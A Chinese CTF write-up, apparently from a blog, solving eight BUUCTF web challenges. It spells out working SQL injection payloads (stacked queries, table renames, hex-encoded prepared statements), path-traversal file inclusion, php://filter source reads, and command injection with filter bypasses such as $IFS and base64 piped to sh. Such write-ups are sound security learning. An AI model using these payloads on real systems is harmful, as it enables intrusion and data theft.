当前位置: 首页 > news >正文

BUUCTF-练习场-WEB-第一部分(8道)

[极客大挑战 2019]EasySQL 1

payload:1' or 1=1#

'是闭合前面的查询语句,or 1=1恒成立,可以使用or句子绕过判断,#用于注释,注释后面的内容不再执行,所以该sql命令会返回表内所有内容,其实就是实现一个闭合查询,绕过判断,返回内容

[HCTF 2018]WarmUp

F12查看源代码,发现注释中有一个source.php文件名称

访问这个文件,看到了源码,同时源码中还提及了一个hint.php的文件

访问hint.php,得到了flag所在的文件名

源码中有这样一段内容

如果有file值的传入,且file为字符串,而且通过了checkFile的验证,则将file文件包含,我们可以通过这个文件包含,回显ffffllllaaaagggg的内容。

注:include,包含并执行文件。被包含文件先按参数给出的路径寻找,如果没有给出目录(只有文件名)时则按照 include_path 指定的目录寻找。如果在 include_path 下没找到该文件则 include 最后才在调用脚本文件所在的目录和当前工作目录下寻找。如果最后仍未找到文件则include 结构会发出一条警告;这一点和 require 不同,require会发出一个致命错误。

那么,可以构造payload读取到文件,得到flag:

?file=source.php?../../../../../../../../../../../../ffffllllaaaagggg

[极客大挑战 2019]Havefun

查看源代码,注释中包含一段源码,get传参,变量cat,当cat==dog时,回显Sys{cat_cat_cat}

那么,payload为:

?cat=dog //成功回显payload

[ACTF2020 新生赛]Include

点击tips,发现url中file=flag.php,但是并没有回显flag

这里我们可以使用这样的payload格式去构造:

php://filter/read=convert.base64-encode/resource=xxx.php
php://filter 是php中独有的一个协议,可以作为一个中间流来处理其他流,可以进行任意文件的读取。
resource=<要过滤的数据流> 指定了你要筛选过滤的数据流。
read=<读链的筛选列表>可以设定一个或多个过滤器名称,以管道符(|)分隔。
write=<写链的筛选列表> 可以设定一个或多个过滤器名称,以管道符(|)分隔。
<;两个链的筛选列表> 任何没有以 read= 或write=作前缀 的筛选器列表会视情况应用于读或写链。
php://filter与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,阻止其不执行,从而读取文件内容。
read=convert.base64-encode,用base64编码输出,不然会直接当做php代码执行,看不到源代码内容。

payload:

/?file=php://filter/read=convert.base64-encode/resource=flag.php

读取到了一段base64编码的字符串,将该字符串进行转码后,得到flag

[ACTF2020 新生赛]Exec

打开后是一个ping的功能,我们尝试用|进行命令拼接,发现ls命令可以直接执行,并且读取到根目录下的文件信息,在根目录下有一个flag文件

命令:|ls ../../../../../../../../../../../../../
使用命令,直接读取flag文件内容,获得flag:
|cat ../../../../../../../../../../../../../flag

[强网杯 2019]随便注

sql注入了,先来判断一下字段数

1' order by 1 # 和 1' order by 2 # 可以正常回显
1' order by 3 # 的时候报错,说明字段数为2

尝试union联合注入

1' union select 1,2#

发现提示select等命令被过滤掉了。。。。

使用一种新知识,堆叠注入:

使用; 号注入多条SQL语句并执行,先爆库试一下:
0'; show databases; #

可以使用,尝试回显出,当前数据库中的表

0'; show tables; #

查到两个表,分别是"1919810931114514"和"words"

查看表中字段名称:

1'; show columns from words; #
1'; show columns from `1919810931114514`; #
注意:当表名为数字时,要使用反引号将表名括起。

words中没什么有用的字段名,在1919810931114514中,发现flag字段

补充知识:
show databases//列出服务器可访问的数据库
show tables//显示该数据库内相关表的名称
show columns from tablename;//显示表tablename的字段、字段类型、键值信息、是否可以用null、默认值及其他信息。

到了读取flag内容的时候,犯了大难,查询其他师傅的wp,有三种方法适用,这里我只写两种(第三种看不明白)

方法一:

1,通过 rename 先把 words 表改名为word1。

2,把 1919810931114514 表的名字改为 words 。

3 ,给新 words 表添加新的列名 id 。

4,将 flag 改名为 data 。

1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);

提交查询,提交之后,再提交1查询时,回显flag字段中的内容。

方法二:

由于select被过滤了,所以将select * from ` 1919810931114514` 进行十六进制编码,再构造payload。

select * from ` 1919810931114514`转换得到0x73656c656374202a2066726f6d20603139313938313039333131313435313460

payload:

;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

知识点:

prepare…from…是预处理语句,会进行编码转换。
execute用来执行由SQLPrepare创建的SQL语句。
SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。

[SUCTF 2019]EasySQL

sql注入,和上一题好像,堆叠注入爆一下库名

1;show databases;

同样方法爆一下表名

1;show tables;

有个Flag表,看看Flag表中字段,回显nonono?,判断可能过滤了flag

接下来回顾一下最开始我们输入的非0数字和0与字母所回显的内容:非0数字回显1,0和字母不会回显任何内容

这道题目需要我们去对后端语句进行猜解
1、输入非零数字得到的回显1和输入其余字符得不到回显=>来判断出内部的查询语句可能存在有||
2、也就是select 输入的数据||内置的一个列名 from 表名=>即为
后台语句为:select $post['query']||flag from Flag

当我们输入非零数字时才会会显出1,而0和其他全都无回显,猜测后端语句中有||操作符,只有我们输入非零数字才会满足||的逻辑为True从而进行回显的条件。也就是满足:select 输入的内容 || 一个列名 from 表名。(select 输入数据 || flag from Flag)

这里需要借用到:设置 sql_mode=PIPES_AS_CONCAT来转换操作符的作用。(sql_mode设置)

利用PIPES_AS_CONCAT令||起到连接符的作用。

构建payload:

1;set sql_mode=PIPES_AS_CONCAT;select 1

注:这里的逻辑是先把||转换为连接操作符,注意分号隔断了前面的命令,所以要再次添加select来进行查询,这里把1换成其他非零数字也一样会回显flag

还有一个非预期解 *,1 可以直接得到flag

后端语句是select 输入内容 || flag from Flag,输入*,1就相当于构造了
select *,1 || flag from Flag
这条语句执行起来相当于
select *, 1 from Flag
因为1||flag是个短路算法,直接输出1了
select *和select 所有列的意义相同,那么我们构造的
select *,1 || flag from Flag 就等同于 select *,1 from Flag

[GXYCTF2019]Ping Ping Ping

看起来因该是命令执行了,给出一个/?ip=的提示,应该时get传参,变量名是ip了,尝试传个数字进去看看效果

看来是执行了ping命令,使用|组合命令进去执行看看

/?ip=1|ls

成功读取到当前路径下有flag.php的文件,读取一下文件内容试试

/?ip=1|cat%20flag.php

嗯。。。过滤了空格,使用 $IFS$数字 来绕过空格过滤试试

/?ip=cat$IFS$9flag.php

嗯。。。是成功绕过了空格过滤,发现还过滤了flag,这里有两种思路:

方法一:

使用base64编码绕过

把 cat$IFS$9flag.php 转换为base64编码

payload:
/?ip=1;echo$IFS$9Y2F0JElGUyQ5ZmxhZy5waHA=|base64$IFS$9-d|sh

在返回的响应包或源代码注释中,可以看到flag

方法二:

变量拼接,我们想要执行cat$IFS$9flag.php 但是flag被过滤了,我们可以将flag进行拆分

payload:

/?ip=1;a=fl;b=ag;cat$IFS$9$a$b.php

过滤依旧,更换一下拼接方式,成功回显flag

payload:

/?ip=1;a=ag;cat$IFS$9fl$a.php

相关文章:

BUUCTF-练习场-WEB-第一部分(8道)

[极客大挑战 2019]EasySQL 1payload&#xff1a;1 or 11#是闭合前面的查询语句&#xff0c;or 11恒成立&#xff0c;可以使用or句子绕过判断&#xff0c;#用于注释&#xff0c;注释后面的内容不再执行&#xff0c;所以该sql命令会返回表内所有内容&#xff0c;其实就是实现一个…...

Java Reflection 实战- Class类

Java Reflection 实战 - Class Java 反射使得在运行时检查类、接口、字段和方法成为可能&#xff0c;而不需要在编译时知道类、方法等的名称。也可以使用反射来实例化新对象、调用方法和获取/设置字段值。 Java反射的功能相当强大&#xff0c;可以说是非常有用。例如&#xff…...

背包问题理解思路(01背包、完全背包、分组背包)

这两天把经典的三个背包问题看了一下&#xff0c;网上大多文章是以代码和公式为主&#xff0c;因为平时没刷过算法题所以理解起来花了些时间&#xff0c;固写一篇文章记录理解思路&#xff0c;本文不包含代码实现&#xff08;理解了思路代码实现应该是小问题&#xff0c;网上一…...

Mr. Cappuccino的第39杯咖啡——Kubernetes之深入理解Pod

Kubernetes之深入理解PodPod相关概念Pod详细配置清单Pod核心配置Pod基本配置1. 创建yaml文件2. 创建namespace并根据yaml文件创建资源3. 查看namespace下的pod列表以及pod的详细信息Pod中多个容器的名称和端口号不能相同Pod镜像拉取策略Pod环境变量Pod端口相关设置Pod资源相关配…...

SqlSession 和 SqlSessionTemplate 简单使用及注意事项

1、SqlSession 简单使用 先简单说下 SqlSession 是什么&#xff1f;SqlSession 是对 Connection 的包装&#xff0c;简化对数据库操作。所以你获取到一个 SqlSession 就相当于获取到一个数据库连接&#xff0c;就可以对数据库进行操作。 SqlSession API 如下图示&#xff1a;…...

1. QSaveFile和QFile的简单使用

1. 说明 QSaveFile和QFile两个类都是用来操作文件的&#xff0c;区别在于QSaveFile在对文件进行写入时有一种保护机制&#xff0c;再写入出错时&#xff0c;不会对源文件中的内容进行操作。该类在执行写操作时&#xff0c;会先将内容写入到一个临时文件中&#xff0c;如果没有…...

工业4.0是如何优化垃圾处理行业的

如今&#xff0c;工业4.0正在影响着制造业和物流等行业&#xff0c;其发展潜力在未来还有望进一步扩大。一些全球领先的垃圾处理公司已经开始在水处理和废物回收等领域应用工业4.0。工业4.0的创新给这个领域带来了一些必要的改进。随着环境危机的加剧&#xff0c;垃圾处理行业面…...

vue 动画(transition)

一、 实现原理 在插入、更新、移除 DOM 元素时&#xff0c;在合适的时候给元素添加样式类名&#xff0c;配合 CSS 样式使用&#xff0c;实现动画效果。 通俗来讲&#xff0c;就是将要进行动画操作的 DOM 元素用 transition 标签包裹起来。在此html元素运动前&#xff0c;运动…...

Python 爬虫工程师面试经验分享,金三银四

&#x1f643; 作为一个 Python 爬虫工程师&#xff0c;我可以分享一些我在面试中的经验和建议。 首先一点是在面试中要表现自信、友好、乐于合作&#xff0c;同时对公司的业务和文化也要有一定的了解和兴趣&#xff0c;这些也是公司在招聘中看重的因素。 文章目录&#x1f55b…...

MySQL实战篇-MySQL 降配导致的实例宕机

问题描述 由于近期对服务器进行了降配&#xff0c;该mysql数据库会进行批量写入操作&#xff0c;直接导致实例宕机 查看错误日志: 2021-02-02T09:09:23.557505Z 0 [Note] InnoDB: page_cleaner: 1000ms intended loop took 16791ms. The settings might not be optimal. (fl…...

时隔多年,这次我终于把动态代理的源码翻了个地儿朝天

本文内容整理自 博学谷狂野架构师 动态代理简介 ​ Proxy模式是常用的设计模式&#xff0c;其特征是代理类与委托类有同样的接口&#xff0c;代理类主要负责为委托类预处理消息、过滤消息、把消息转发给委托类&#xff0c;以及事后处理消息等。 用户可以更加结构图&#xff0…...

数据分析-深度学习 Tensorflow Day6

我们需要解决的问题&#xff1a;1&#xff1a; 什么是bp 神经网络&#xff1f;2&#xff1a;理解bp神经网络需要哪些数学知识&#xff1f;3&#xff1a;梯度下降的原理4: 激活函数5&#xff1a;bp的推导。1.什么是bp网络&#xff1f;引用百度知道回复&#xff1a;“我们最常用的…...

leaflet 设置多个marker,导出为一个geojson文件(066)

第066个 点击查看专栏目录 本示例的目的是介绍演示如何在vue+leaflet中使用L.marker设置多个markers, 通过数据重组,导出为geojson文件。 这里面 ayer instanceof L.Marker 是一个很重要的判断条件,可以灵活地去运用。 直接复制下面的 vue+openlayers源代码,操作2分钟即可…...

企业与第三方供应商合作时,会存在哪些安全风险?

随着现代社会的发展&#xff0c;企业供应链、产业供应链已日渐成熟。其中&#xff0c;供应商与企业的关系也由最初的纯粹买卖关系发展成了合作伙伴关系。在整个供应链体系中&#xff0c;供应商与其受众承担着供应链中环环相扣的责任&#xff0c;可以说&#xff0c;企业安全的薄…...

技术源自洛克希德·马丁,光场XR眼镜FYR解析

专注于医疗场景的一家XR眼镜厂商FYR&#xff08;全称&#xff1a;FYR Medical&#xff09;近期亮相&#xff0c;并宣布完成了260万美元A轮融资&#xff0c;本轮融资由NuVasive领投&#xff0c;资金将用于开发世界上第一个XR光场“放大镜”类产品。据青亭网了解&#xff0c;NuVa…...

剑指 Offer 10- II. 青蛙跳台阶问题(LeetCode 70. 爬楼梯)(动态规划打表)

题目&#xff1a; 链接&#xff1a;剑指 Offer 10- II. 青蛙跳台阶问题&#xff1b;LeetCode 70. 爬楼梯 难度&#xff1a;简单 相关博文&#xff1a;剑指 Offer 10- I. 斐波那契数列&#xff08;动态规划打表&#xff09; 一只青蛙一次可以跳上1级台阶&#xff0c;也可以跳上…...

webpack(高级)--文件的压缩Terser(js/css/html) Tree Shaking

webpack Terser Terser是一个javascript的解释(Parser),Mangler(绞肉机) /Compressor(压缩机)的工具集 早期我们会使用uglify-js来压缩&#xff0c;丑化我们的javascript代码 但是目前已经不在维护 并且不支持ES6语法 Terser是从uglify-es fork 过来的 也就是说 Terser可以帮…...

做软文发布需要注意哪些细节?

软文发布是一种有效的网络营销和推广活动&#xff0c;它以媒体等形式把产品信息植入到软文报道或新闻中&#xff0c;进行心理暗示和引导销售&#xff0c;进行正面宣传以及促进销售的新型网络营销方式&#xff0c;它不但能够有效地推行产品宣传、也能有效地提高网络曝光率&#…...

【Python】一篇文章读懂yield基本用法

这一次&#xff0c;田辛老师想通俗易懂地解释一下Python中的yield功能。 本文要说明以下四个问题&#xff1a; yield是什么什么是迭代器和生成器yield的基本用法如何使用yield from 用真正简单的方法讲解yield并不容易。 我想&#xff0c;就算你不懂yield语句&#xff0c;也…...

Docker getting started

系列文章目录 Docker 概述 Docker getting started 文章目录系列文章目录前言一、容器及镜像的概念二、容器化一个应用三、更新应用四、分享应用五、持久化数据存储volume mount 和 bind mount比较Container volumesbind mounts六、跨多容器的应用七、Docker 其它八、Docker 图…...

【Uniapp使用遇到问题合集】

Uniapp使用遇到问题合集问题一跳转页面后无法进行滑动/滚动的操作描述解决方法问题一 跳转页面后无法进行滑动/滚动的操作 描述 如题,实际操作是我在uniapp自带的组件uni-popup弹出层中加入了一个点击事件,点击后可跳转到指定的页面 但实际运行中出现了跳转过后页面过长时无…...

宝塔面板破解最新教程

宝塔,让运维简单高效。面板支持Linux与Windows系统。一键配置:LAMP/LNMP、网站、数据库、FTP、SSL,通过Web端轻松管理服务器。今天考高分网就简单说一下BT宝塔面板专业版最新破解教程。 网地址&#xff1a;https://www.bt.cn/ 网上的破解版一般分为两种&#xff0c;一种是直接…...

基于zookeeper的Hadoop集群搭建详细步骤

目录 一、一些基本概念 二、集群配置图 三、Hadoop高可用集群配置步骤 1.在第一台虚拟机解压hadoop-3.1.3.tar.gz到/opt/soft/目录 2.修改文件名、属主和属组 3.配置windows四台虚拟机的ip映射 4.修改hadoop配置文件 (1)hadoop-env.sh (2)workers (3)crore-site.xml …...

职称有哪些意义?如何提升职称?

每年我们会看到很多人都会努力地提升自己的职称&#xff0c;那么为什么大家都想要晋升职称?在这里余老师说说他的作用&#xff0c;您可以参考一下。 一、个人金钱方面的提升 工资。职称直接关联的就是涨工资了。正常情况下&#xff0c;职称和工资是一一对应的了&#xff0c;…...

mulesoft MCIA 破釜沉舟备考 2023.02.15.09

mulesoft MCIA 破釜沉舟备考 2023.02.15.09 1. According to MuleSoft, which deployment characteristic applies to a microservices application architecture?2. Refer to the exhibit.3. Mule application A receives a request Anypoint MQ message REQU with a payload…...

【项目实战】@ConditionalOnProperty注解让我少写了一些if判断

一、需求说明 本机启动含有XXL-job的工程&#xff0c;发现每次都会进行XXL-job的init的动作。这会导致本机每次启动都会把自己注册到XXL-job的服务端。但是我明明本地调试的功能不想要是编写定时任务&#xff0c;于是想了下&#xff0c;是否可以设计一个开关&#xff0c;让本机…...

SQL中的游标、异常处理、存储函数及总结

目录 一.游标 格式 操作 演示 二.异常处理—handler句柄 格式 演示 三.存储函数 格式 参数说明 演示 四.存储过程总结 一.游标 游标(cursor)是用来存储查询结果集的数据类型,在存储过程和函数中可以使用游标对结果集进行循环的处理。游标的使用包括游标的声明、OPEN、…...

Splashtop:支持M1/M2芯片 Mac 电脑的远程控制软件

M1和M1芯片的Mac电脑现在越来越多了。M1和M2的强大性能&#xff0c;让使用者们办公、娱乐如虎添翼。 M1 芯片于2020年11月11日推出&#xff0c;是Apple 首款专为Mac打造的芯片&#xff0c;拥有格外出色的性能、众多的功能&#xff0c;以及令人惊叹的能效表现。M1 也是Apple 首款…...

实验十三、阻容耦合共射放大电路的频率响应

一、题目 利用 Multism 从以下几个方面研究图1所示的阻容耦合共射放大电路的频率响应。图1阻容耦合共射放大电路图1\,\,阻容耦合共射放大电路图1阻容耦合共射放大电路&#xff08;1&#xff09;设 C1C210μFC_1C_210\,\textrm{μF}C1​C2​10μF&#xff0c;分别测试它们所确定…...

【每天进步一点点】函数表达式和函数声明

函数声明 function 函数名&#xff08;&#xff09;{} 函数声明会被率先读取。 函数声明后不会立即执行&#xff0c;会在我们需要的时候调用到。 由于函数声明不是一个可执行语句&#xff0c;所以不以分号结束。 函数表达式 表达式赋值给了一个变量 const 变量名 functi…...

河南建设监理协会官方网站/怎么查询搜索关键词

摘要&#xff1a; Linux shell/terminal 命令非常强大即使一个简单的命令就可能导致文件夹、文件或者路径文件夹等被删除。 在一些情况下Linux 甚至不会询问你而直接执行命令导致你丢失各种数据信息。 一般来说在 Web 上推荐新的 Linux 用户执行这些命令当然也有人哪些写过这代…...

wordpress科技企业主题/semantic ui

一&#xff1a;连接池的定义本质上就是个容器(集合) 存放数据库连接的容器&#xff0c;当系统初始化后&#xff0c;容器被创建&#xff0c;容器中就会申请一些连接对象&#xff0c;当用户来访问数据库的时候&#xff0c;从容器中取连接对象&#xff0c;用户用完之后&#xff0c…...

360搜索联盟网站制作/公关负面处理公司

1. 泛型是什么 泛型有泛型类、泛型接口、泛型方法。 class HashMap<K,V>interface Generator<T><T> T method(T t) 2. 为什么我们需要泛型 不需要写 addInt(int x, int y)、addFloat(float x, float y) 这种代码&#xff0c;使用泛型后修改为&#xff1a…...

网络优化方案/惠州百度关键词优化

花了几个小时终于把Sublime的配置搞定了&#xff0c;能够在里面写vex和Python&#xff0c;同时另外设置了Python对houdini模块的以及其他扩展包的自动填充功能。 这里简单讲一下安装sublime&#xff0c;因为这个不是重点&#xff0c;所以只介绍他的基本步奏了&#xff0c;本来就…...

有初中生做的网站吗/想做推广哪个平台好

04年IM软件评测&#xff1a;表情贴图(转)测试项目三 聊天辅助之表情贴图 朗玛UC UC的表情图标看起来比较可爱&#xff0c;无论是创意和颜色选取都属于上乘之作&#xff0c;它的默认贴图总数高达80个了&#xff0c;软件支持自定义表情贴图上传&#xff0c;还能够进行聊天表情贴…...

那些公司做网站比较厉害/网上销售渠道

为什么要做持久化存储?持久化存储是将 Redis 存储在内存中的数据存储在硬盘中&#xff0c;实现数据的永久保存。我们都知道 Redis 是一个基于内存的 nosql 数据库&#xff0c;内存存储很容易造成数据的丢失&#xff0c;因为当服务器关机等一些异常情况都会导致存储在内存中的数…...